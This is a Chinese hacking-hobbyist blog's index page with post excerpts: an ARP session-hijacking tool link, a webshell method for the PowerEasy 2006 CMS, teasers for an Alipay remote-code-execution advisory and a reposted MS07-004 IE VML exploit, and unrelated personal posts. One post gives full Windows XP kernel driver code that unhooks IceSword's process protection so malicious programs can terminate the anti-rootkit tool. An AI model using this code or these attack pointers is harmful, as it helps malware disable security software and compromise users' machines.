预览模式: 普通 | 列表

arp实现会话劫持

小泽的站上找的一个工具,传说中幻影还一个工具的,没用过
地址:http://www.amxku.net/attachment.php?id=335
使用说明:
0. Realtek RTL8139 

查看更多...

分类:信手涂鸦 | 固定链接 | 评论: 1 | 引用: 0 | 查看次数: 2748

动易2006bug

动易2K6最新得到WEBSHLL方法:

利用User_saveflash.asp文件。

分析:

查看更多...

分类:信手涂鸦 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 2407

突破IceSword自身的进程保护

IceSword的驱动对其自身进程做了保护,使恶意程序终止不了他。IceSword没有用HOOK SSDT的方法,不过也没用什么太BT的方法,而是Inline Hook了NtOpenProcess、NtTerminateProcess几个函数,即修改函数前5个字节,jmp到他自定义处理函数例程里。

终止采用这类保护方法的进程,可以使用暴力的PspTerminateProcess方法,PspTerminateProcess函数未导出,需要我们自己穷举特征码搜索来定位,或者硬编码之。当然,我们还可以恢复IceSword的Inline hook,还原被IceSword挂钩过的NtOpenProcess、NtTerminateProcess函数,然后在用户态上使用普通的终止进程的方法就可以终止他了。这里给出了第二中方法的具体代码,不过由于此篇文章出于科普目的,代码就写得马虎点了,仅适用于Windows XP,因为取SSDT对应的函数索引号用的硬编码,说明问题而已。NtTerminateProcess未导出,大家可以自己改成通过读取ntdll.dll动态通用的获得索引号的方法,方法网上有公开,需要的人就自己动点手吧,呵呵~


#include <ntddk.h>

#define DWORD unsigned long

unsigned char OldCode[5]="\x68\xc4\x00\x00\x00";
unsigned char OldCode2[5]="\x8b\xff\x55\x8b\xec";

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
 unsigned int *ServiceTableBase;
 unsigned int *ServiceCounterTableBase;
 unsigned int NumberOfServices;
 unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
 DWORD OpAddr,OpAddr2;

 OpAddr=*(KeServiceDescriptorTable.ServiceTableBase + 0x7A);
 OpAddr2=*(KeServiceDescriptorTable.ServiceTableBase + 0x101);

 _asm
 {
   CLI            
   MOV   eax, CR0    
   AND eax, NOT 10000H
   MOV   CR0, eax

   pushad
   mov edi, OpAddr
   mov eax, dword ptr OldCode[0]
   mov [edi], eax
   mov al, byte ptr OldCode[4]
   mov [edi+4], al
   mov edi, OpAddr2
   mov eax, dword ptr OldCode2[0]
   mov [edi], eax
   mov al, byte ptr OldCode2[4]
   mov [edi+4], al
   popad

   MOV   eax, CR0
   OR   eax, 10000H
   MOV   CR0, eax
   STI
 }
           
 return STATUS_SUCCESS;
}

分类:信手涂鸦 | 固定链接 | 评论: 1 | 引用: 0 | 查看次数: 1859

阿里巴巴支付宝远程代码执行漏洞

阿里巴巴支付宝远程代码执行漏洞

by cocoruder(frankruder_at_hotmail.com)
http://ruder.cdut.net

查看更多...

分类:信手涂鸦 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 1993

灰色的伤痕

原以为伤口能愈合。原以为时间能让我遗忘。可是我做不到。我分明看到它们隐匿在角落里,鲜明而低调的存在,无法忽视。一有阴霾,便强悍而迅速地占领整个世界。

我战栗着,看着它们在这具身体里肆虐,无法控制,无能为力,甚至在梦里。我逃不了。

结局早已注定,苍白而讽刺。一天天的放大,临近。我大哭,大笑,发呆。喜怒无常,封闭寡言。

查看更多...

分类:信手涂鸦 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 2005

会写hello world了 纪念下

会写hello world了 纪念下

3行程序搞了一个下午,整晕头了。。。。
环境变量没错,包名没错,命令也没错,编译还是没错,执行的时候就出错:Exception in thread "main" java.lang.NoClassDefFoundError:

查看更多...

分类:信手涂鸦 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 2072

Remote Buffer Overflow Exploit (MS07-004)

2007年最新IE漏洞:MS 07 004

这段攻击代码是针对Windows系统处理VML文件的方式中的安全漏洞发起攻击的,许多网页上的高质量图片都会使用这种VML文件。相关的安全漏洞位于Windows系统中的一个名为“vgx.dll”的附件之中。据微软公司称,除了Vista之外的所有最新版本的Windows系统都存在这个漏洞,当用户使用包括IE7在内的所有IE浏览器时,都可能会受到攻击。已经有补丁。

转自:milw0rm.com

查看更多...

分类:信手涂鸦 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 3178

富人和穷人的十二大经典差异

富人和穷人的十二大经典差异
来源:http://www.csnexp.com/ 
1.自我认知
穷人:很少想到如何去赚钱和如何才能赚到钱,认为自己一辈子就该这样,不相信会有什么改变。富人:骨子里就深信自己生下来不是要做穷人,而是要做富人,他有强烈的赚钱意识,这已是他血液里的东西,他会想尽一切办法使自己致富。
  2.休闲

查看更多...

分类:信手涂鸦 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 1829